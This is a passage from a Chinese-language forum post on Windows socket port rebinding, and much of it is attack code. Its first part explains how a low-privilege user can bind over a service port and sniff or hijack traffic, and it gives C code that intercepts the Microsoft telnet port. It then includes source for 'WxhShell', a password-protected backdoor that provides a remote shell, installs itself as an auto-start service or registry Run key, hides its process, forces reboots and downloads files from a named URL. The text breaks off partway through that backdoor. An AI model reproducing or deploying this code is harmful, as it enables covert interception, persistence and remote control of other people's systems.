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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I0XJ& P%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Fb#j+Lq  
&V4Zm n?UU  
  saddr.sin_family = AF_INET; ~yv7[`+Tgg  
b]u$!W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xhe& "rM  
Emlj,c<?j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *)m:u:   
5c- P lm%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dka,v  
C-M_:kQ[U  
  这意味着什么?意味着可以进行如下的攻击: +p 6Ty2rz  
xHgC':l(0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (p]FI#y  
?Y"%BS+pt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N{J 1C6  
MA .;=T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 la[ pA  
TY8gB!^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   _a09;C  
d4o ^+\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -K|1w'E  
ly[yn{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r]9-~1T  
}M4dze  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s|C[{n<_  
s8-RXEPb  
  #include M0 z%<_<}  
  #include p)biOG  
  #include {-A|f  
  #include    l!ow\ZuQBF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BN*:*cmUl  
  int main() [f+wP|NKL  
  { K0w}l" )A  
  WORD wVersionRequested; =O}I{dNKZV  
  DWORD ret; ^0]0ss;##R  
  WSADATA wsaData; CPB{eQeDuv  
  BOOL val; Es>' N3A z  
  SOCKADDR_IN saddr; 6 Bq_<3P_  
  SOCKADDR_IN scaddr; 5CK+\MK  
  int err; .7Mf(1:  
  SOCKET s; }c G)$E  
  SOCKET sc; Q/o,2R  
  int caddsize; |>Q>d8|k  
  HANDLE mt; ]zx%"SUM  
  DWORD tid;   h@RpS8!Bi  
  wVersionRequested = MAKEWORD( 2, 2 ); Ysm RY=3  
  err = WSAStartup( wVersionRequested, &wsaData ); fcq8aW/z_  
  if ( err != 0 ) { HK )m^!=  
  printf("error!WSAStartup failed!\n"); I\*6 >  
  return -1; =lAjQt  
  } IfmQP s+f  
  saddr.sin_family = AF_INET; =g+}4P  
   LR=Ji7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $RDlM  
 IuY9Q8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |WB-Ng  
  saddr.sin_port = htons(23); ixA.b#!1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kk fWiPO^  
  { AJyN lQ  
  printf("error!socket failed!\n"); |z)s9B;:#i  
  return -1; W.3b]zcV  
  } x-i1:W9;  
  val = TRUE; [8T{=+k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y`~B> J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cWW?@ _  
  { 8 a]'G)(ts  
  printf("error!setsockopt failed!\n"); )j;^3LiV3  
  return -1; fkI 5~Y|  
  } mZ71_4X#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;6/WjUDw<|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }=X: F1S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J9lZ1,22  
4iAF<|6s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :#:|:q.]  
  { MpOU>\  
  ret=GetLastError(); ,rMDGZm?  
  printf("error!bind failed!\n"); <AU*lLZ  
  return -1; g8O6 b  
  } W ^'|{9&m  
  listen(s,2); eN])qw{  
  while(1) -nS f<  
  { z& ;8pZr  
  caddsize = sizeof(scaddr); "$(+M t^  
  //接受连接请求 mx^Ga=: ?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \3hA_{ w  
  if(sc!=INVALID_SOCKET) T'pL&@,Q  
  { m-t: ' B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )Qb,zS6  
  if(mt==NULL) SIp)&  
  { #*bmwb*i  
  printf("Thread Creat Failed!\n"); y#'hOSR2  
  break; )$]lf }  
  } 4r(0+SO  
  } i#-v4g  
  CloseHandle(mt); \Th<7WbR6#  
  } y,5qY}P+  
  closesocket(s); wPg/.N9H  
  WSACleanup(); /\%<VBx ?q  
  return 0; rZ?:$],U!  
  }   JpS}X\]i  
  DWORD WINAPI ClientThread(LPVOID lpParam) JP4DV=}L  
  { 6]v}  
  SOCKET ss = (SOCKET)lpParam; ~5,^CTAM  
  SOCKET sc; F*P0=DD  
  unsigned char buf[4096]; ^;EhKG  
  SOCKADDR_IN saddr; $Ivjcs:  
  long num; 8m") )i-  
  DWORD val; %j tUbBN  
  DWORD ret; w0!$ow.l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BwT[SI<Sg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @HS*%N"*  
  saddr.sin_family = AF_INET; @` KYgjjH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); , ;,B7g  
  saddr.sin_port = htons(23); l@);U%\pS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]s=|+tz\V  
  { ;TL.QN/l  
  printf("error!socket failed!\n"); ,4'gj0  
  return -1; zamMlmls^  
  } =Pv_,%  
  val = 100; Na91K4r#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `#$}P;W  
  { 7IxeSxXH  
  ret = GetLastError(); "0HUaU,e  
  return -1; JY  
  } ~/G)z?+E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AERJ]$\  
  { f=^xU P  
  ret = GetLastError(); LwB1~fF  
  return -1; mGE!,!s}  
  } h]<S0/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) brA#p>4]Wf  
  { F'XQoZ* 1  
  printf("error!socket connect failed!\n"); M">v4f&K1!  
  closesocket(sc); jz8u'y[n7  
  closesocket(ss); k ]NZ%.  
  return -1; 8R*;8y_  
  } -m@c{&r  
  while(1)  Qxz[  
  { h  /  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LSta]81B4L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $!O@Z8B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?I?G+(bq  
  num = recv(ss,buf,4096,0); pX%:XpC!h  
  if(num>0) n%3!)/$  
  send(sc,buf,num,0); | In{5E k  
  else if(num==0) 7i($/mNl  
  break; _*~F1% d  
  num = recv(sc,buf,4096,0); G!j9D  
  if(num>0) r~,y3L6ic  
  send(ss,buf,num,0); /V,xSK9.&  
  else if(num==0) R&cT Md  
  break; )M0`dy{1  
  } =d8Rij-  
  closesocket(ss); 8xB-cE  
  closesocket(sc); u[)X="-e#  
  return 0 ; m4m-JD|v  
  } 58Ibje  
?"@Fq2xgB4  
v*.R<- X:  
========================================================== O&?i#@5#  
kx&JY9(&#  
下边附上一个代码,,WXhSHELL .,u>WIUxj  
OQumA j  
========================================================== =RWTjTZ   
btg= # u  
#include "stdafx.h" &%fcGNzJQ  
V ,KIi_Z  
#include <stdio.h> <%^/uS  
#include <string.h> QYbB\Y  
#include <windows.h> ZSu.0|0#  
#include <winsock2.h> vYRY?~8 C  
#include <winsvc.h> P3Ql[ 2  
#include <urlmon.h> 5[;[Te9=S  
e_b,{l#  
#pragma comment (lib, "Ws2_32.lib") Ii+3yE@c  
#pragma comment (lib, "urlmon.lib") $U[d#:]  
1>e30Ri,g  
#define MAX_USER   100 // 最大客户端连接数 0~U0s3  
#define BUF_SOCK   200 // sock buffer 1]If< <  
#define KEY_BUFF   255 // 输入 buffer oEX,\@+u  
i~Tt\UA>  
#define REBOOT     0   // 重启 xCZ_x$bk  
#define SHUTDOWN   1   // 关机 P|Aac,nE+^  
_&, A  
#define DEF_PORT   5000 // 监听端口 |!(8c>]Bo  
=G}a%)?As\  
#define REG_LEN     16   // 注册表键长度 [ bnu DS  
#define SVC_LEN     80   // NT服务名长度 \~#\ [r_  
Z8=?Hu  
// 从dll定义API b%lB&}uw}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NAo.79   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]KuM's  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PzPNvV/o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 437Wy+Q|e  
+nR("Il  
// wxhshell配置信息 .6gx|V+  
struct WSCFG {  ,t 2CQ  
  int ws_port;         // 监听端口 uUfw"*D  
  char ws_passstr[REG_LEN]; // 口令 Ij(dgY  
  int ws_autoins;       // 安装标记, 1=yes 0=no XEiVs\) G  
  char ws_regname[REG_LEN]; // 注册表键名 &m--}  
  char ws_svcname[REG_LEN]; // 服务名 5x@ U<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E6GubU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %uo8z~+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IX+Jf? &^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nC3+Zka  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wwl,F=| Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u [qy1M0  
=\]gL%N-|  
}; w5z]=dN  
b]]k\b  
// default Wxhshell configuration .!~ysy  
struct WSCFG wscfg={DEF_PORT, a >fA-@  
    "xuhuanlingzhe",  _ %mm  
    1, F,_cci`p  
    "Wxhshell", -}m  
    "Wxhshell",  *wJ$U  
            "WxhShell Service", (~G*' /)  
    "Wrsky Windows CmdShell Service", @zS/J,:v}  
    "Please Input Your Password: ", W\[E  
  1, P{dR pH|  
  "http://www.wrsky.com/wxhshell.exe", &3/`cl[+  
  "Wxhshell.exe" [g}^{ $`  
    }; ~"S5KroN  
:(enaHn#~  
// 消息定义模块 ^RnQX#+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *4~7p4 [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )%jS9e{d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L\ysy2E0  
char *msg_ws_ext="\n\rExit."; q[/g3D\G  
char *msg_ws_end="\n\rQuit."; _dd_Z40R  
char *msg_ws_boot="\n\rReboot..."; KdR\a&[MA  
char *msg_ws_poff="\n\rShutdown..."; O#igH  
char *msg_ws_down="\n\rSave to "; 26~rEOgJ  
5S? "<+J'  
char *msg_ws_err="\n\rErr!"; S*}GW-)oA  
char *msg_ws_ok="\n\rOK!"; =3,<(F5Y[  
cY} jPDH  
char ExeFile[MAX_PATH]; pjO  
int nUser = 0; 5 n4/}s  
HANDLE handles[MAX_USER]; 07^.Z[(pCt  
int OsIsNt; M(8xwo-W  
4`~OxL  
SERVICE_STATUS       serviceStatus; ,dba:D= l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `*CoVx~fk  
b5g^{bzwu  
// 函数声明 *Iw19o-I  
int Install(void); j 1'H|4  
int Uninstall(void); [ 2@Lc3<  
int DownloadFile(char *sURL, SOCKET wsh); E2 'Al6^C  
int Boot(int flag); yYOV:3!"  
void HideProc(void); 6AD&%v  
int GetOsVer(void); VFV8ik)  
int Wxhshell(SOCKET wsl); w 8o?wx*  
void TalkWithClient(void *cs); I-.? qcy~  
int CmdShell(SOCKET sock); VII`qbxT  
int StartFromService(void); P9\y~W  
int StartWxhshell(LPSTR lpCmdLine);  qjfv9sU  
^ &KH|qRrO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y3*IF2G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fo}@B &=4  
JBQ>"X^  
// 数据结构和表定义 5YZ\@<|rH  
SERVICE_TABLE_ENTRY DispatchTable[] = @W+8z#xr'  
{ 21$^k5  
{wscfg.ws_svcname, NTServiceMain}, w;VUP@Wm  
{NULL, NULL} f].z.  
}; nb5%a   
a[^dK-  
// 自我安装 F`Vp   
int Install(void) 0wBr_b!  
{ ;Xidv9c  
  char svExeFile[MAX_PATH]; d{!zJ+n  
  HKEY key; -GgV&%'a  
  strcpy(svExeFile,ExeFile); oi3Ix7  
pfim*\'  
// 如果是win9x系统,修改注册表设为自启动 dkEnc  
if(!OsIsNt) { ]H:K$nmX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kH=~2rwm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YVHDk7s  
  RegCloseKey(key); xT9+l1_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [t^%d9@t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n=fR%<v  
  RegCloseKey(key); }xrrHp  
  return 0; k!@/|]3z  
    } g2 V $  
  }  4z|Yfvq  
} HV3wUEI3  
else { %4To@#c  
0@f7`D  
// 如果是NT以上系统,安装为系统服务 ,Ur~DXY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {iq{<;)U?U  
if (schSCManager!=0) HSl$ U0  
{ ]*S_fme  
  SC_HANDLE schService = CreateService uuh vd h=  
  ( 8DrKq]&  
  schSCManager, Qe/=(P<  
  wscfg.ws_svcname, Hi{!<e2  
  wscfg.ws_svcdisp, hG'2(Y!  
  SERVICE_ALL_ACCESS, Z.LF5ur  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S67T:ARS  
  SERVICE_AUTO_START, OaxE3bDT  
  SERVICE_ERROR_NORMAL, gk6j5 $Y"<  
  svExeFile, ^?[^o\/@R  
  NULL, Z42v@?R.!W  
  NULL, Z@iMG  
  NULL, %@M/)"k  
  NULL, fs]Zw mA^  
  NULL &sA6o"h~  
  ); ~pSD|WX  
  if (schService!=0) o:Z*F0qm  
  { +FVcrL@  
  CloseServiceHandle(schService); l:+pO{7L  
  CloseServiceHandle(schSCManager); H "?-&>V-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zT+yZA.L  
  strcat(svExeFile,wscfg.ws_svcname); cfe[6N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { skP_us~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1J *wW# e  
  RegCloseKey(key); +XRv iHA`  
  return 0; zsRN\U  
    } R}+/jh2O|  
  } zZh`go02E  
  CloseServiceHandle(schSCManager); lR^dT4  
} z8"=W,2  
} |V~P6o(/  
*&2#;mf3  
return 1; qV$',U*+T  
} <db/. A3  
t_VHw'~"  
// 自我卸载 !%M-w0vC9  
int Uninstall(void) :U[_V4? 7  
{ E 0pF; P5  
  HKEY key; CX'E+  
s9GPDfZ  
if(!OsIsNt) { TAC\2*bWje  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LP)mp cQ  
  RegDeleteValue(key,wscfg.ws_regname); ptq{$Y{_  
  RegCloseKey(key); u]MF r2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LA@}{hU  
  RegDeleteValue(key,wscfg.ws_regname); x}>tX  
  RegCloseKey(key); u!`C:C'  
  return 0; ]R>k0X.V  
  } b~1p.J4  
} YL=k&Q G  
} !<6wrOMaO  
else { +m7 x>ie)  
6$dm-BI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $-AvH( @  
if (schSCManager!=0) >`\*{]  
{ OB^2NL~Q~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *wF:Q;_<z  
  if (schService!=0) xNqQbk F  
  { G =4y!y  
  if(DeleteService(schService)!=0) { B# H  
  CloseServiceHandle(schService); IFTW,9hh  
  CloseServiceHandle(schSCManager); YXg uw7%\  
  return 0; eB@i)w?@o  
  } V= *J9~K  
  CloseServiceHandle(schService); -5 W0K}  
  } kL|Y-(FPo%  
  CloseServiceHandle(schSCManager); qRGb3l  
} C[&&.w8Pm  
} v_@_J!s  
)?bb]hZg?O  
return 1; IP;@unBl  
} xA5$!Oq7  
hCvn(f  
// 从指定url下载文件 yK7>^p}V  
int DownloadFile(char *sURL, SOCKET wsh) TxCQGzqe  
{ k"7eHSy,  
  HRESULT hr; 4vQHr!$Ep  
char seps[]= "/"; 1DcarF  
char *token; # |I@`#O  
char *file; G([vy#p  
char myURL[MAX_PATH]; l9ihW^  
char myFILE[MAX_PATH]; @ty|HXW  
fBOPd =  
strcpy(myURL,sURL); ge oN4  
  token=strtok(myURL,seps); 6qJB"_.  
  while(token!=NULL) 66Xt=US  
  { |\(/dXXP  
    file=token; %UJ4wm  
  token=strtok(NULL,seps); )x7hhEk=^  
  } l.W:6", w  
F`Y<(]+   
GetCurrentDirectory(MAX_PATH,myFILE); ?mAw"Rb!  
strcat(myFILE, "\\"); Aii[=x8  
strcat(myFILE, file); {|E7N"Qzg  
  send(wsh,myFILE,strlen(myFILE),0); 5l}h8So4  
send(wsh,"...",3,0); w1_Ux<RF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MX0B$yc$  
  if(hr==S_OK) T!a[@,)_  
return 0; Pvw%,=41O  
else 7dJaWD:&   
return 1; !v L :P2  
KxwLKaImI  
} n_Y]iAoc`  
(Qm;]?/  
// 系统电源模块 UG_0Y8$  
int Boot(int flag) k>CtWV5B  
{ Z :+#3.4$3  
  HANDLE hToken; 8!SiTOzR?  
  TOKEN_PRIVILEGES tkp; __iyBaX  
\^4$}@*]  
  if(OsIsNt) { (FYJ^o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?63JQ.;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uP]o39b;V  
    tkp.PrivilegeCount = 1; rfi`Bp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FO=1P7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m_ m@>}ud  
if(flag==REBOOT) { OP}p;(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \AzcW;03g[  
  return 0; Y7)@(7G)\  
} 2oG|l!C  
else { " G6j UTt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8w[EyVHA  
  return 0; 9Ol_z\5  
} ^b %8_?2m  
  } NF!1)  
  else { uP2a\C,$  
if(flag==REBOOT) { odf^W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,P@-DDJ  
  return 0; *$C[![   
} np^<HfYV  
else { p'k+0=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  7~nCK  
  return 0; E0]h|/A]  
} 34kd|!e,  
} [B @j@&  
^(*O$N*#  
return 1; )6 <byO  
} !cwVJe  
W? ||9  
// win9x进程隐藏模块 S5KYZ W  
void HideProc(void) _l=  
{ UiZp -Y%ki  
i(iP}: 3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?(8%SPRk  
  if ( hKernel != NULL ) y?#J`o- O  
  { S{T d/1}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jY+S,lD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,GU/l)os`  
    FreeLibrary(hKernel); ]UT|BE4v  
  } !o':\hex6  
!gfhEz Y  
return; S!W/K!wf  
} 1DtMY|wP  
T}Vpy`  
// 获取操作系统版本 }k0-?_Z=1  
int GetOsVer(void) +JS/Z5dl+}  
{ 6n\z53Mk  
  OSVERSIONINFO winfo; fbTw6Fde$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dHF$T33It  
  GetVersionEx(&winfo); 3,L3C9V'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _JTxm>  
  return 1; 65#:2,s  
  else ?VP!1O=J  
  return 0; yL x .#kx6  
} vSC0D7BlG  
OrEuQ-,i@  
// 客户端句柄模块 k5;Vl0Ho  
int Wxhshell(SOCKET wsl) KI@    
{ xf"5<PTW</  
  SOCKET wsh; 6.h   
  struct sockaddr_in client; 7Ljj#!`lUp  
  DWORD myID; =/JF-#n/MA  
6y,P4O*q  
  while(nUser<MAX_USER) _s^:zPl  
{ ! M&un*  
  int nSize=sizeof(client); +VLe'|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x36#x  
  if(wsh==INVALID_SOCKET) return 1; Gh[`q7B Q  
!_-sTZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 795Jwv  
if(handles[nUser]==0) .A7tq  
  closesocket(wsh); R 4$Q3vcH  
else Sja{$zL+W  
  nUser++; WCmNibj  
  } m_!vIUOz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jp3di&x  
&M3ES}6  
  return 0; "G9'm  
} Z\=04[  
v V6Lp  
// 关闭 socket xJ2O4ob  
void CloseIt(SOCKET wsh) yvoo M'R  
{ l P$r   
closesocket(wsh); u2-@?yt  
nUser--; nz(q)"A  
ExitThread(0); me:|!lI7YU  
} *M&VqG4P9w  
3_\{[_W  
// 客户端请求句柄 ,> (bt%b  
void TalkWithClient(void *cs) $TA6S+  
{ S}w.#tyEn  
..]*Ao2  
  SOCKET wsh=(SOCKET)cs; RJRq` T|m  
  char pwd[SVC_LEN]; ..q63dr  
  char cmd[KEY_BUFF]; Le` /  
char chr[1]; ?VZ11?u  
int i,j; k)5_1y  
_iGU|$a  
  while (nUser < MAX_USER) { iL0jpa<}  
! nCjA\$  
if(wscfg.ws_passstr) { 7O+Ij9+{n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v dH+>l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jKj=#O  
  //ZeroMemory(pwd,KEY_BUFF); sArje(5Eo  
      i=0; t8A kdSU0  
  while(i<SVC_LEN) { b@wBR9s  
C,{F0-D  
  // 设置超时 xA&  
  fd_set FdRead; pG!(6V-x<E  
  struct timeval TimeOut; %9QMzz5  
  FD_ZERO(&FdRead); 4FIV  
  FD_SET(wsh,&FdRead); uS,p|}Q&  
  TimeOut.tv_sec=8; rmPne8D=c(  
  TimeOut.tv_usec=0; lk[G;=K:.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B0)`wsb_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8 _4l"v p  
8 )mjy!,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !f\?c7  
  pwd=chr[0]; Gpdv]SON{  
  if(chr[0]==0xd || chr[0]==0xa) { dNUR)X#e  
  pwd=0; vXy uEEe  
  break; &\1'1`N1  
  } \-Iny=$  
  i++; ,pyQP^u-  
    } QGH h;  
-yC:?  
  // 如果是非法用户,关闭 socket 3tT|9Tb@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ` URSv,(  
} 8"km_[JE e  
c$Xe.:QY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "[jhaUAK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6_R\l@a  
_/,SZ-C#L4  
while(1) { v)@,:u)  
<I7(eh6d  
  ZeroMemory(cmd,KEY_BUFF); N>d|A]zH  
,4H;P/xsb  
      // 自动支持客户端 telnet标准   i1qS ns  
  j=0; Y&vHOA  
  while(j<KEY_BUFF) { 9W1;Kb|Z<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G;(onJz  
  cmd[j]=chr[0]; y$IaXr5L  
  if(chr[0]==0xa || chr[0]==0xd) { (O8,zqP9l  
  cmd[j]=0; L!;^ #g  
  break; 6P;o 6s  
  } ]u rK$   
  j++; eM?rc55|  
    } t a&Q4v&-  
8To7c  
  // 下载文件 &sm @  
  if(strstr(cmd,"http://")) { owE<7TGPI?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (jM<T;4  
  if(DownloadFile(cmd,wsh)) 2c}B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V~OUE]]Q  
  else O.*jR`l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T>#TDMU#Fm  
  } HUj+-  
  else { [O^}rUqq  
0TTIaa$  
    switch(cmd[0]) { DpA\r_D  
  "_ LkZBW.  
  // 帮助 7{n\y l?  
  case '?': { f;.SSiT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zzX<?6MS  
    break; \Y*!f|=of  
  } 9c#lLKrzG  
  // 安装 RK?jtb=&A  
  case 'i': { xN6?yr  
    if(Install()) {bN Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 -]>]Hr-  
    else za,6 du6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fC_zX}3  
    break; #hIEEkCp +  
    } 5pO]vBT  
  // 卸载 hzaU8kb  
  case 'r': { cX2$kIs;  
    if(Uninstall()) __ 8&Jv\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KzV.+f  
    else FyCBN tCv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e\`wlaP,  
    break; z~F37]W3[  
    } {3_Gjb5\\4  
  // 显示 wxhshell 所在路径 }A-{6Qe  
  case 'p': { f[x~)=  
    char svExeFile[MAX_PATH]; V {p*z  
    strcpy(svExeFile,"\n\r"); x@h tx?   
      strcat(svExeFile,ExeFile); 'r~8  
        send(wsh,svExeFile,strlen(svExeFile),0); rB,ldy,f  
    break; >gr<^$  
    } C?,*U  
  // 重启 M3ZOk<O<R  
  case 'b': { Q\H_t)-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v' C@jsx M  
    if(Boot(REBOOT)) +a-D#^ 2;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`}l\ Y  
    else { $Jcq7E~  
    closesocket(wsh); yKYl@&H/%  
    ExitThread(0); @9aGz6k+  
    } h{I`7X  
    break; gt'*B5F(  
    } 47KNT7C  
  // 关机 8+ov(B;(  
  case 'd': { 22z1g(; @  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DacN {r"3  
    if(Boot(SHUTDOWN)) >E, Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yX`#s]M  
